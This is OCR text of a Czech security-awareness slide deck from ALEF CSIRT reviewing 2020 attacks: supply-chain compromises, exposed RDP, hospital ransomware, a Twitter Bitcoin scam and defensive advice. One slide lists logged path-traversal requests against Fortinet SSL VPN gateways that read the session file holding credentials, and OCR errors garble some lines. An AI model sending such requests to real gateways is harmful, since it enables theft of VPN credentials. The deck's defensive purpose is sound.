X ALEF

2020:
Rok (ne)oc¢ekavanych utoku

Jan Kopfriva

jan.kopriva@alef.com ¥ @jkOpr
ALEF CSIRT

TLP: WHITE



Utoky skrz dodavatelsky retézec

« SolarWinds (2020)
- M.E.Doc (2017)

* CCleaner (2017)
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Utoky skrz vzdaleny pristup

RDP na verejnych IP adresach - globalni data
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N ALEF IP adresy s otevienym portem 3389 Procento ze vSech IP adres




—RDOP connection attempts (left axis)

RDP connection attempts on unique clients (right axis)
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Trends of ROP connection attempts in B2 2020-R3 2020, seven-day moving average



Utoky skrz vzdaleny pfistup
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N ALEF Zdroj: Digital Shadows




Utoky na zdravotnicka zafizeni

15 notable ransomware attacks on healthcare
providers in 2019

Mackenzie Garrity - Wednesday, December 18th, 2019 Print | Emaill

Between hospitals having to turn to paper records and others notifying patients that their information may
have been exposed, ransomware attacks have caused hospital executives to make cybersecurity a priority.

Below are 15 notable ransomware attacks this past year.

N ALEF Zdroj: Becker's Health IT




Utoky na nemocnice skrz vzdaleny pristup...

I &4

10. zari 2020 DoppelPaymer zasahnul univerzitni kliniku v Dusseldorfu
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Utoky skrz vzdaleny pfistup

* Publikace IP adres nezaplatovanych Fortinet SSL VPN bran

..a nasledné publikace prihlaSovacich udaju k nim

/remote/fgt lang?lang=/../../../../[/////////dev/cndb/sslvpn websession
/remote/fgt lang®?lang=/../../../..//////////dev/cmdb/sslvpn websession
/remote/fgt lang?lang=/. Mo/ S/ /dev/cndb/ss]lvpn websession
/remote/fgt lang?lang=/. S/ S/ /dev/endb/ss]lvpn websession
/remote/fgt lang?lang=/. Lo/ S/ /dev/cndb/ss]lvpn websession
/remote/fgt lang?lang=/. Lo/ S/ /dev/cmdb/sslvpn websession
/remote/fgt lang?lang=/../../../../[/////////dev/cndb/sslvpn websession
/remote/fgt lang?lang=/../../../..//[////////dev/cmdb/sslvpn websession
/remote/fgt lang?lang=/../../../../[/////////dev/cndb/sslvpn websession
/remote/fgt lang?lang=/../../../..//////////dev/cndb/sslvpn websession

./
/.
/.
/.
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Nesmime zapomenout na sociotechniku

o

Everyone i5 asking me to give back, and now is the time.

| am doubling all payments sent to my BTC address for the
next 30 minutes. You send $1,000, | send you back $2,000,

BTC Address -
belguy 2kgdygirsatzg2n0yrf2493p83kkfjhx0wlh

Only going on far 30 minutes! Enjay!
34 A - bl 15, 2020 f;.

2 1K O 693 people are Tweeting about this

N ALEF Zdroj: Bleeping Computer



Na co se tedy zamerit?

* Nespoléhejte jen na formalni bezpecCnostni standardy a soulad s nimi
« Soulad s bezpecCnostni normou neznamena, ze je nas system
zabezpeleny
 Sledujte aktualni deni...
...a poucte se z chyb tech, kteri prisli pred vami, jinak si je sami drive

nebo pozdeji zopakujete...
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Nez se rozloucime...

Od ledna 2021 nova YouTube série zamérena na zakladni praktické

dovednosti v IT bezpecnosti.

Detaily najdete na:

https://UntrustedNetwork.net/cs/
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